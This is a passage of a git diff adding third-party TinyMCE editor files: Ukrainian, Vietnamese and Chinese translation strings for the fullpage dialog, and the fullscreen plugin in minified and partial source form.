b/js/tiny_mce/plugins/fullpage/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.fullpage_dlg',{title:"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430","meta_tab":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","appearance_tab":"\u0412\u0438\u0433\u043b\u044f\u0434","advanced_tab":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e","meta_props":"\u041c\u0435\u0442\u0430 \u0456\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u044f",langprops:"\u041c\u043e\u0432\u0430 \u0442\u0430 \u043a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f","meta_title":"\u0417\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a","meta_keywords":"\u041a\u043b\u044e\u0447\u043e\u0432\u0456 \u0441\u043b\u043e\u0432\u0430","meta_description":"\u041e\u043f\u0438\u0441","meta_robots":"\u0420\u043e\u0431\u043e\u0442\u0438",doctypes:"Doctype",langcode:"\u041a\u043e\u0434 \u043c\u043e\u0432\u0438",langdir:"\u041d\u0430\u043f\u0440\u044f\u043c \u043c\u043e\u0432\u0438",ltr:"\u0417\u043b\u0456\u0432\u0430 \u043f\u0440\u0430\u0432\u043e\u0440\u0443\u0447",rtl:"\u0421\u043f\u0440\u0430\u0432\u0430 \u043b\u0456\u0432\u043e\u0440\u0443\u0447","xml_pi":"\u041e\u0431\'\u044f\u0432\u043b\u0435\u043d\u043d\u044f XML",encoding:"\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0456\u0432","appearance_bgprops":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0444\u043e\u043d\u0443","appearance_marginprops":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f\u0438","appearance_linkprops":"\u041a\u043e\u043b\u0456\u0440 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u044c","appearance_textprops":"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0442\u0435\u043a\u0441\u0442\u0443",bgcolor:"\u041a\u043e\u043b\u0456\u0440 \u0444\u043e\u043d\u0443",bgimage:"\u0424\u043e\u043d\u043e\u0432\u0435 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f","left_margin":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f \u0437\u043b\u0456\u0432\u0430","right_margin":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f \u0441\u043f\u0440\u0430\u0432\u0430","top_margin":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f \u0437\u0432\u0435\u0440\u0445\u0443","bottom_margin":"\u0412\u0456\u0434\u0441\u0442\u0443\u043f \u0437\u043d\u0438\u0437\u0443","text_color":"\u041a\u043e\u043b\u0456\u0440 \u0442\u0435\u043a\u0441\u0442\u0443","font_size":"\u0420\u043e\u0437\u043c\u0456\u0440 \u0448\u0440\u0438\u0444\u0442\u0430","font_face":"\u0428\u0440\u0438\u0444\u0442","link_color":"\u041a\u043e\u043b\u0456\u0440 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","hover_color":"\u041a\u043e\u043b\u0456\u0440 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043f\u0440\u0438 \u043d\u0430\u0432\u0435\u0434\u0435\u043d\u043d\u0456","visited_color":"\u041a\u043e\u043b\u0456\u0440 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f \u043f\u0440\u0438 \u043d\u0430\u0442\u0438\u0441\u043d\u0435\u043d\u043d\u0456","active_color":"\u041a\u043e\u043b\u0456\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",textcolor:"\u041a\u043e\u043b\u0456\u0440",fontsize:"\u0420\u043e\u0437\u043c\u0456\u0440 \u0448\u0440\u0438\u0444\u0442\u0430",fontface:"\u0421\u0456\u043c\u0435\u0439\u0441\u0442\u0432\u043e \u0448\u0440\u0438\u0444\u0442\u0430","meta_index_follow":"\u0406\u043d\u0434\u0435\u043a\u0441\u0443\u0432\u0430\u0442\u0438 \u0456 \u0439\u0442\u0438 \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c\u0438","meta_index_nofollow":"\u0406\u043d\u0434\u0435\u043a\u0441\u0443\u0432\u0430\u0442\u0438 \u0456 \u043d\u0435 \u0439\u0442\u0438 \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c\u0438","meta_noindex_follow":"\u041d\u0435 \u0456\u043d\u0434\u0435\u043a\u0441\u0443\u0432\u0430\u0442\u0438, \u0430\u043b\u0435 \u0439\u0442\u0438 \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c\u0438","meta_noindex_nofollow":"\u041d\u0435 \u0456\u043d\u0434\u0435\u043a\u0441\u0443\u0432\u0430\u0442\u0438 \u0456 \u043d\u0435 \u0439\u0442\u0438 \u0437\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f\u043c\u0438","appearance_style":"\u0422\u0430\u0431\u043b\u0438\u0446\u044f \u0441\u0442\u0438\u043b\u044e \u0442\u0430 \u0432\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456 \u0441\u0442\u0438\u043b\u044e",stylesheet:"\u0422\u0430\u0431\u043b\u0438\u0446\u044f \u0441\u0442\u0438\u043b\u044e",style:"\u0421\u0442\u0438\u043b\u044c",author:"\u0410\u0432\u0442\u043e\u0440",copyright:"\u0410\u0432\u0442\u043e\u0440\u0441\u044c\u043a\u0435 \u043f\u0440\u0430\u0432\u043e",add:"\u0414\u043e\u0434\u0430\u0442\u0438 \u043d\u043e\u0432\u0438\u0439 \u0435\u043b\u0435\u043c\u0435\u043d\u0442",remove:"\u0412\u0438\u0434\u0430\u043b\u0438\u0442\u0438 \u0432\u0438\u0434\u0456\u043b\u0435\u043d\u0438\u0439 \u0435\u043b\u0435\u043c\u0435\u043d\u0442",moveup:"\u041f\u0435\u0440\u0435\u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u0433\u043e\u0440\u0443",movedown:"\u041f\u0435\u0440\u0435\u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u043d\u0438\u0437","head_elements":"Head \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438",info:"\u0406\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u044f","add_title":"Title \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_meta":"Meta \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_script":"Script \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_style":"Style \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_link":"Link \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_base":"Base \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_comment":"\u0412\u0443\u0437\u043e\u043b \u043a\u043e\u043c\u0435\u043d\u0442\u0430\u0440\u044f","title_element":"Title \u0435\u043b\u0435\u043c\u0435\u043d\u0442","script_element":"Script \u0435\u043b\u0435\u043c\u0435\u043d\u0442","style_element":"Style \u0435\u043b\u0435\u043c\u0435\u043d\u0442","base_element":"Base \u0435\u043b\u0435\u043c\u0435\u043d\u0442","link_element":"Link \u0435\u043b\u0435\u043c\u0435\u043d\u0442","meta_element":"Meta \u0435\u043b\u0435\u043c\u0435\u043d\u0442","comment_element":"\u041a\u043e\u043c\u0435\u043d\u0442\u0430\u0440",src:"\u0414\u0436\u0435\u0440\u0435\u043b\u043e",language:"\u041c\u043e\u0432\u0430",href:"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",target:"\u0426\u0456\u043b\u044c",type:"\u0422\u0438\u043f",charset:"\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f",defer:"Defer",media:"\u041c\u0435\u0434\u0456\u0430",properties:"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456",name:"\u041d\u0430\u0437\u0432\u0430",value:"\u0417\u043d\u0430\u0447\u0435\u043d\u043d\u044f",content:"\u0417\u043c\u0456\u0441\u0442",rel:"\u0417\u0432\'\u044f\u0437\u043e\u043a",rev:"Rev",hreflang:"\u041c\u043e\u0432\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","general_props":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","advanced_props":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/vi_dlg.js b/js/tiny_mce/plugins/fullpage/langs/vi_dlg.js new file mode 100755 index 0000000..3222b67 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.fullpage_dlg',{title:"Thu\u1ed9c t\u00ednh v\u0103n b\u1ea3n","meta_tab":"Chung","appearance_tab":"Xu\u1ea5t hi\u1ec7n","advanced_tab":"N\u00e2ng cao","meta_props":"Th\u00f4ng tin Meta",langprops:"Ng\u00f4n ng\u1eef v\u00e0 m\u00e3 h\u00f3a","meta_title":"Ti\u00eau \u0111\u1ec1","meta_keywords":"T\u1eeb kh\u00f3a","meta_description":"M\u00f4 t\u1ea3","meta_robots":"Robots",doctypes:"Ki\u1ec3u t\u00e0i li\u1ec7u",langcode:"M\u00e3 ng\u00f4n ng\u1eef",langdir:"H\u01b0\u1edbng ng\u00f4n ng\u1eef",ltr:"Tr\u00e1i qua ph\u1ea3i",rtl:"Ph\u1ea3i qua tr\u00e1i","xml_pi":"Khai b\u00e1o XML",encoding:"M\u00e3 h\u00f3a k\u00fd t\u1ef1","appearance_bgprops":"Thu\u1ed9c t\u00ednh n\u1ec1n","appearance_marginprops":"Bi\u00ean c\u1ee7a th\u00e2n t\u00e0i li\u1ec7u","appearance_linkprops":"M\u00e0u li\u00ean k\u1ebft","appearance_textprops":"Thu\u00f4c t\u00ednh v\u0103n b\u1ea3n",bgcolor:"M\u00e0u n\u1ec1n",bgimage:"\u1ea2nh n\u1ec1n","left_margin":"Bi\u00ean tr\u00e1i","right_margin":"Bi\u00ean ph\u1ea3i","top_margin":"Bi\u00ean tr\u00ean","bottom_margin":"Bi\u00ean d\u01b0\u1edbi","text_color":"M\u00e0u v\u0103n b\u1ea3n","font_size":"K\u00edch c\u1ee1 ph\u00f4ng","font_face":"Ph\u00f4ng ch\u1eef","link_color":"M\u00e0u li\u00ean k\u1ebft","hover_color":"M\u00e0u khi tr\u1ecf chu\u1ed9t","visited_color":"M\u00e0u \u0111\u00e3 gh\u00e9 th\u0103m","active_color":"M\u00e0u ho\u1ea1t \u0111\u1ed9ng",textcolor:"M\u00e0u",fontsize:"K\u00edch c\u1ee1 ph\u00f4ng",fontface:"T\u1eadp h\u1ee3p ph\u00f4ng","meta_index_follow":"Ch\u1ec9 s\u1ed1 v\u00e0 theo li\u00ean k\u1ebft","meta_index_nofollow":"Ch\u1ec9 s\u1ed1 v\u00e0 kh\u00f4ng theo li\u00ean k\u1ebft","meta_noindex_follow":"Kh\u00f4ng ch\u1ec9 s\u1ed1 nh\u01b0ng theo li\u00ean k\u1ebft","meta_noindex_nofollow":"Kh\u00f4ng ch\u1ec9 s\u1ed1 v\u00e0 kh\u00f4ng theo li\u00ean k\u1ebft","appearance_style":"Thu\u1ed9c t\u00ednh ki\u1ec3u d\u00e1ng v\u00e0 stylesheet",stylesheet:"Stylesheet",style:"Ki\u1ec3u d\u00e1ng",author:"T\u00e1c gi\u1ea3",copyright:"B\u1ea3n quy\u1ec1n",add:"Th\u00eam ph\u1ea7n t\u1eed m\u1edbi",remove:"Lo\u1ea1i b\u1ecf ph\u1ea7n t\u1eed \u0111\u00e3 ch\u1ecdn",moveup:"Di chuy\u1ec3n ph\u1ea7n t\u1eed \u0111\u00e3 ch\u1ecdn \u0111i l\u00ean",movedown:"Di chuy\u1ec3n ph\u1ea7n t\u1eed \u0111\u00e3 ch\u1ecdn \u0111i xu\u1ed1ng","head_elements":"Ph\u1ea7n t\u1eed \u0111\u1ea7u \u0111\u1ec1",info:"Th\u00f4ng tin","add_title":"Ph\u1ea7n t\u1eed ti\u00eau \u0111\u1ec1","add_meta":"Ph\u1ea7n t\u1eed meta","add_script":"Ph\u1ea7n t\u1eed script","add_style":"Ph\u1ea7n t\u1eed ki\u1ec3u d\u00e1ng","add_link":"Ph\u1ea7n t\u1eed li\u00ean k\u1ebft","add_base":"Ph\u1ea7n t\u1eed c\u01a1 s\u1edf","add_comment":"Comment node","title_element":"Ph\u1ea7n t\u1eed ti\u00eau \u0111\u1ec1","script_element":"Ph\u1ea7n t\u1eed script","style_element":"Ph\u1ea7n t\u1eed ki\u1ec3u d\u00e1ng","base_element":"Ph\u1ea7n t\u1eed c\u01a1 s\u1edf","link_element":"Ph\u1ea7n t\u1eed li\u00ean k\u1ebft","meta_element":"Ph\u1ea7n t\u1eed meta","comment_element":"Ch\u00fa th\u00edch",src:"Src",language:"Ng\u00f4n ng\u1eef",href:"Href",target:"\u0110\u00edch",type:"Ki\u1ec3u",charset:"T\u1eadp k\u00fd t\u1ef1",defer:"Tr\u00ec ho\u00e3n",media:"Ph\u01b0\u01a1ng ti\u1ec7n",properties:"Thu\u1ed9c t\u00ednh",name:"T\u00ean",value:"Gi\u00e1 tr\u1ecb",content:"N\u1ed9i dung",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Chung","advanced_props":"N\u00e2ng cao"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/zh-cn_dlg.js b/js/tiny_mce/plugins/fullpage/langs/zh-cn_dlg.js new file mode 100755 index 0000000..de0a74a --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.fullpage_dlg',{title:"\u6587\u4ef6\u5c5e\u6027","meta_tab":"\u666e\u901a","appearance_tab":"\u5916\u89c2","advanced_tab":"\u9ad8\u7ea7","meta_props":"Meta\u4fe1\u606f",langprops:"\u8bed\u8a00\u548c\u7f16\u7801","meta_title":"\u6807\u9898","meta_keywords":"Meta \u5173\u952e\u5b57","meta_description":"Meta \u63cf\u8ff0","meta_robots":"\u641c\u7d22\u673a\u5668\u4eba",doctypes:"\u6587\u6863\u7c7b\u578b",langcode:"\u8bed\u8a00\u7f16\u7801",langdir:"\u8bed\u8a00\u6587\u5b57\u65b9\u5411",ltr:"\u4ece\u5de6\u5230\u53f3",rtl:"\u4ece\u53f3\u5230\u5de6","xml_pi":"XML\u7533\u660e",encoding:"\u5b57\u7b26\u7f16\u7801","appearance_bgprops":"\u80cc\u666f\u5c5e\u6027","appearance_marginprops":"\u9875\u8fb9\u8ddd","appearance_linkprops":"\u8d85\u94fe\u63a5\u989c\u8272","appearance_textprops":"\u6587\u672c\u5c5e\u6027",bgcolor:"\u80cc\u666f\u989c\u8272",bgimage:"\u80cc\u666f\u56fe\u7247","left_margin":"\u5de6\u8fb9\u8ddd","right_margin":"\u53f3\u8fb9\u8ddd","top_margin":"\u4e0a\u8fb9\u8ddd","bottom_margin":"\u4e0b\u8fb9\u8ddd","text_color":"\u6587\u672c\u989c\u8272","font_size":"\u5b57\u4f53\u5927\u5c0f","font_face":"\u5b57\u4f53","link_color":"\u8d85\u94fe\u63a5\u989c\u8272","hover_color":"Hover\u989c\u8272","visited_color":"Visited\u989c\u8272","active_color":"Active\u989c\u8272",textcolor:"\u989c\u8272",fontsize:"\u5b57\u4f53\u5927\u5c0f",fontface:"\u5b57\u4f53","meta_index_follow":"\u7d22\u5f15\u5e76\u8fde\u7ed3","meta_index_nofollow":"\u7d22\u5f15\u4f46\u4e0d\u8fde\u7ed3","meta_noindex_follow":"\u4e0d\u7d22\u5f15\u4f46\u8fde\u7ed3","meta_noindex_nofollow":"\u4e0d\u7d22\u5f15\u4e5f\u4e0d\u8fde\u7ed3","appearance_style":"\u6837\u5f0f\u8868\u4e0e\u6837\u5f0f\u5c5e\u6027",stylesheet:"\u6837\u5f0f\u8868",style:"\u6837\u5f0f",author:"\u4f5c\u8005",copyright:"\u7248\u6743\u58f0\u660e",add:"\u6dfb\u52a0\u5143\u7d20",remove:"\u5220\u9664\u9009\u62e9\u5143\u7d20",moveup:"\u4e0a\u79fb\u9009\u62e9\u5143\u7d20",movedown:"\u4e0b\u79fb\u9009\u62e9\u5143\u7d20","head_elements":"Head\u5143\u7d20",info:"\u4fe1\u606f","add_title":"Title\u5143\u7d20","add_meta":"Meta\u5143\u7d20","add_script":"Script\u5143\u7d20","add_style":"Style\u5143\u7d20","add_link":"Link\u5143\u7d20","add_base":"Base\u5143\u7d20","add_comment":"\u6ce8\u91ca","title_element":"Title\u5143\u7d20","script_element":"Script\u5143\u7d20","style_element":"Style\u5143\u7d20","base_element":"Base\u5143\u7d20","link_element":"Link\u5143\u7d20","meta_element":"Meta\u5143\u7d20","comment_element":"\u6ce8\u91ca",src:"\u5730\u5740",language:"\u8bed\u8a00",href:"Href",target:"\u76ee\u6807",type:"\u7c7b\u578b",charset:"\u5b57\u7b26\u96c6",defer:"Defer",media:"\u5a92\u4f53",properties:"\u5c5e\u6027",name:"\u540d\u79f0",value:"\u503c",content:"\u5185\u5bb9",rel:"Rel",rev:"Rev",hreflang:"Href\u8bed\u8a00","general_props":"\u5e38\u89c4","advanced_props":"\u9ad8\u7ea7"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullpage/langs/zh-tw_dlg.js b/js/tiny_mce/plugins/fullpage/langs/zh-tw_dlg.js new file mode 100755 index 0000000..5a9b054 --- /dev/null +++ b/js/tiny_mce/plugins/fullpage/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.fullpage_dlg',{title:"\u9801\u9762\u8a2d\u5b9a","meta_tab":"\u4e00\u822c","appearance_tab":"\u5916\u89c0","advanced_tab":"\u66f4\u591a\u8a2d\u5b9a","meta_props":"Meta \u8cc7\u8a0a",langprops:"\u8a9e\u8a00\u8207\u7de8\u78bc\u8a2d\u5b9a","meta_title":"\u6a19\u984c","meta_keywords":"\u95dc\u9375\u5b57","meta_description":"\u63cf\u8ff0","meta_robots":"\u641c\u5c0b\u5f15\u64ce\u7684\u6a5f\u5668\u4eba",doctypes:"\u6587\u4ef6\u985e\u578b (Doctype)",langcode:"\u8a9e\u8a00\u7de8\u78bc",langdir:"\u66f8\u5beb\u65b9\u5f0f",ltr:"\u5f9e\u5de6\u5230\u53f3",rtl:"\u5f9e\u53f3\u5230\u5de6","xml_pi":"XML \u5b9a\u7fa9 (XML declaration)",encoding:"\u5b57\u5143\u7de8\u78bc","appearance_bgprops":"\u80cc\u666f\u8a2d\u5b9a","appearance_marginprops":"\u7db2\u9801\u7684\u908a\u8ddd","appearance_linkprops":"\u9023\u7d50\u7684\u984f\u8272","appearance_textprops":"\u6587\u5b57\u8a2d\u5b9a",bgcolor:"\u80cc\u666f\u984f\u8272",bgimage:"\u80cc\u666f\u5716","left_margin":"\u5de6\u908a\u8ddd","right_margin":"\u53f3\u908a\u8ddd","top_margin":"\u4e0a\u65b9\u908a\u8ddd","bottom_margin":"\u4e0b\u65b9\u908a\u8ddd","text_color":"\u6587\u5b57\u984f\u8272","font_size":"\u5b57\u9ad4\u5927\u5c0f","font_face":"\u5b57\u9ad4\u6a23\u5f0f","link_color":"\u9810\u8a2d\u7684\u984f\u8272\u6a23\u5f0f","hover_color":"\u6ed1\u9f20\u79fb\u904e\u53bb\u7684\u984f\u8272\u6a23\u5f0f","visited_color":"\u9ede\u904e\u5f8c\u7684\u984f\u8272\u6a23\u5f0f","active_color":"\u6309\u4e0b\u53bb\u5f8c\u7684\u984f\u8272",textcolor:"\u984f\u8272",fontsize:"\u6309\u4e0b\u53bb\u5f8c\u7684\u984f\u8272\u6a23\u5f0f",fontface:"\u5b57\u9ad4\u6a23\u5f0f","meta_index_follow":"\u516c\u958b\u7d66\u641c\u5c0b\u5f15\u64ce\u77e5\u9053","meta_index_nofollow":"\u544a\u8a34\u641c\u5c0b\u5f15\u64ce\u53ef\u4ee5\u5206\u4eab\u9023\u7d50\u7d66\u5927\u5bb6\uff0c\u4f46\u4e0d\u8981\u8b93\u641c\u5c0b\u5f15\u64ce\u5f9e\u9019\u88e1\u627e\u8cc7\u6599","meta_noindex_follow":"\u544a\u8a34\u641c\u5c0b\u5f15\u64ce\u4e0d\u8981\u8b93\u5927\u5bb6\u77e5\u9053\u6709\u9019\u500b\u9023\u7d50\uff0c\u53ea\u8b93\u641c\u5c0b\u5f15\u64ce\u77e5\u9053\u3001\u627e\u8cc7\u6599","meta_noindex_nofollow":"\u544a\u8a34\u641c\u5c0b\u5f15\u64ce\u8df3\u904e\u9019\u500b\u9023\u7d50","appearance_style":"\u6a23\u5f0f\u8868\u8207\u6a23\u5f0f\u7684\u5c6c\u6027\u8a2d\u5b9a",stylesheet:"\u6a23\u5f0f\u8868",style:"\u6a23\u5f0f",author:"\u9328\u9ede (\u66f8\u7c64)",copyright:"\u8457\u4f5c/\u6388\u6b0a",add:"\u65b0\u589e HTML \u6a19\u7c64",remove:"\u522a\u9664\u6240\u9078\u7684\u6a19\u7c64",moveup:"\u79fb\u52d5\u9078\u64c7\u7684\u6a19\u7c64 (\u5f80\u4e0a)",movedown:"\u79fb\u52d5\u9078\u64c7\u7684\u6a19\u7c64 (\u5f80\u4e0b)","head_elements":"HTML \u7684 Head \u6a19\u7c64",info:"\u8cc7\u8a0a","add_title":"HTML \u7684 Title \u6a19\u7c64","add_meta":"HTML \u7684 Meta \u6a19\u7c64","add_script":"HTML \u7684 Script \u6a19\u7c64","add_style":"HTML \u7684 Style \u6a19\u7c64","add_link":"HTML \u7684 Link \u6a19\u7c64","add_base":"HTML \u7684 Base \u6a19\u7c64","add_comment":"\u8a3b\u6587","title_element":"HTML \u7684 Title \u6a19\u7c64","script_element":"HTML \u7684 Script \u6a19\u7c64","style_element":"HTML \u7684 Style \u6a19\u7c64","base_element":"HTML \u7684 Base \u6a19\u7c64","link_element":"HTML \u7684 Link \u6a19\u7c64","meta_element":"HTML \u7684 Meta \u6a19\u7c64","comment_element":"\u8a3b\u89e3",src:"\u4f86\u6e90",language:"\u8a9e\u8a00",href:"\u9023\u7d50\u4f4d\u7f6e",target:"\u958b\u555f\u65b9\u5f0f",type:"\u5f62\u5f0f",charset:"\u5b57\u5143",defer:"\u5ef6\u7de9",media:"\u5f71\u97f3/\u5a92\u9ad4",properties:"\u5c6c\u6027",name:"\u540d\u7a31",value:"\u503c",content:"\u5167\u5bb9",rel:"\u8a72\u9023\u7d50\u662f\u4ec0\u9ebc (Rel)",rev:"\u8a72\u9023\u7d50\u8207\u7db2\u7ad9\u7684\u95dc\u4fc2 (Rev)",hreflang:"\u8a72\u9023\u7d50\u7684\u8a9e\u7cfb","general_props":"\u4e00\u822c","advanced_props":"\u66f4\u591a"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullscreen/editor_plugin.js b/js/tiny_mce/plugins/fullscreen/editor_plugin.js new file mode 100755 index 0000000..a6456f8 --- /dev/null +++ b/js/tiny_mce/plugins/fullscreen/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.DOM;tinymce.create("tinymce.plugins.FullScreenPlugin",{init:function(d,e){var f=this,g={},c,b;f.editor=d;d.addCommand("mceFullScreen",function(){var i,j=a.doc.documentElement;if(d.getParam("fullscreen_is_enabled")){if(d.getParam("fullscreen_new_window")){closeFullscreen()}else{a.win.setTimeout(function(){tinymce.dom.Event.remove(a.win,"resize",f.resizeFunc);tinyMCE.get(d.getParam("fullscreen_editor_id")).setContent(d.getContent());tinyMCE.remove(d);a.remove("mce_fullscreen_container");j.style.overflow=d.getParam("fullscreen_html_overflow");a.setStyle(a.doc.body,"overflow",d.getParam("fullscreen_overflow"));a.win.scrollTo(d.getParam("fullscreen_scrollx"),d.getParam("fullscreen_scrolly"));tinyMCE.settings=tinyMCE.oldSettings},10)}return}if(d.getParam("fullscreen_new_window")){i=a.win.open(e+"/fullscreen.htm","mceFullScreenPopup","fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width="+screen.availWidth+",height="+screen.availHeight);try{i.resizeTo(screen.availWidth,screen.availHeight)}catch(h){}}else{tinyMCE.oldSettings=tinyMCE.settings;g.fullscreen_overflow=a.getStyle(a.doc.body,"overflow",1)||"auto";g.fullscreen_html_overflow=a.getStyle(j,"overflow",1);c=a.getViewPort();g.fullscreen_scrollx=c.x;g.fullscreen_scrolly=c.y;if(tinymce.isOpera&&g.fullscreen_overflow=="visible"){g.fullscreen_overflow="auto"}if(tinymce.isIE&&g.fullscreen_overflow=="scroll"){g.fullscreen_overflow="auto"}if(tinymce.isIE&&(g.fullscreen_html_overflow=="visible"||g.fullscreen_html_overflow=="scroll")){g.fullscreen_html_overflow="auto"}if(g.fullscreen_overflow=="0px"){g.fullscreen_overflow=""}a.setStyle(a.doc.body,"overflow","hidden");j.style.overflow="hidden";c=a.getViewPort();a.win.scrollTo(0,0);if(tinymce.isIE){c.h-=1}if(tinymce.isIE6){b="absolute;top:"+c.y}else{b="fixed;top:0"}n=a.add(a.doc.body,"div",{id:"mce_fullscreen_container",style:"position:"+b+";left:0;width:"+c.w+"px;height:"+c.h+"px;z-index:200000;"});a.add(n,"div",{id:"mce_fullscreen"});tinymce.each(d.settings,function(k,l){g[l]=k});g.id="mce_fullscreen";g.width=n.clientWidth;g.height=n.clientHeight-15;g.fullscreen_is_enabled=true;g.fullscreen_editor_id=d.id;g.theme_advanced_resizing=false;g.save_onsavecallback=function(){d.setContent(tinyMCE.get(g.id).getContent());d.execCommand("mceSave")};tinymce.each(d.getParam("fullscreen_settings"),function(m,l){g[l]=m});if(g.theme_advanced_toolbar_location==="external"){g.theme_advanced_toolbar_location="top"}f.fullscreenEditor=new tinymce.Editor("mce_fullscreen",g);f.fullscreenEditor.onInit.add(function(){f.fullscreenEditor.setContent(d.getContent());f.fullscreenEditor.focus()});f.fullscreenEditor.render();f.fullscreenElement=new tinymce.dom.Element("mce_fullscreen_container");f.fullscreenElement.update();f.resizeFunc=tinymce.dom.Event.add(a.win,"resize",function(){var o=tinymce.DOM.getViewPort(),l=f.fullscreenEditor,k,m;k=l.dom.getSize(l.getContainer().firstChild);m=l.dom.getSize(l.getContainer().getElementsByTagName("iframe")[0]);l.theme.resizeTo(o.w-k.w+m.w,o.h-k.h+m.h)})}});d.addButton("fullscreen",{title:"fullscreen.desc",cmd:"mceFullScreen"});d.onNodeChange.add(function(i,h){h.setActive("fullscreen",i.getParam("fullscreen_is_enabled"))})},getInfo:function(){return{longname:"Fullscreen",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("fullscreen",tinymce.plugins.FullScreenPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/fullscreen/editor_plugin_src.js b/js/tiny_mce/plugins/fullscreen/editor_plugin_src.js new file mode 100755 index 0000000..42af070 --- /dev/null +++ b/js/tiny_mce/plugins/fullscreen/editor_plugin_src.js @@ -0,0 +1,159 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var DOM = tinymce.DOM; + + tinymce.create('tinymce.plugins.FullScreenPlugin', { + init : function(ed, url) { + var t = this, s = {}, vp, posCss; + + t.editor = ed; + + // Register commands + ed.addCommand('mceFullScreen', function() { + var win, de = DOM.doc.documentElement; + + if (ed.getParam('fullscreen_is_enabled')) { + if (ed.getParam('fullscreen_new_window')) + closeFullscreen(); // Call to close in new window + else { + DOM.win.setTimeout(function() { + tinymce.dom.Event.remove(DOM.win, 'resize', t.resizeFunc); + tinyMCE.get(ed.getParam('fullscreen_editor_id')).setContent(ed.getContent()); + tinyMCE.remove(ed); + DOM.remove('mce_fullscreen_container'); + de.style.overflow = ed.getParam('fullscreen_html_overflow'); + DOM.setStyle(DOM.doc.body, 'overflow', ed.getParam('fullscreen_overflow')); + DOM.win.scrollTo(ed.getParam('fullscreen_scrollx'), ed.getParam('fullscreen_scrolly')); + tinyMCE.settings = tinyMCE.oldSettings; // Restore old settings + }, 10); + } + + return; + } + + if (ed.getParam('fullscreen_new_window')) { + win = DOM.win.open(url + "/fullscreen.htm", "mceFullScreenPopup", "fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width=" + screen.availWidth + ",height=" + screen.availHeight); + try { + win.resizeTo(screen.availWidth, screen.availHeight); + } catch (e) { + // Ignore + } + } else { + tinyMCE.oldSettings = tinyMCE.settings; // Store old settings + s.fullscreen_overflow = DOM.getStyle(DOM.doc.body, 'overflow', 1) || 'auto'; + s.fullscreen_html_overflow = DOM.getStyle(de, 'overflow', 1); + vp = DOM.getViewPort(); + s.fullscreen_scrollx = vp.x; + s.fullscreen_scrolly = vp.y; + + // Fixes an Opera bug where the scrollbars doesn't reappear + 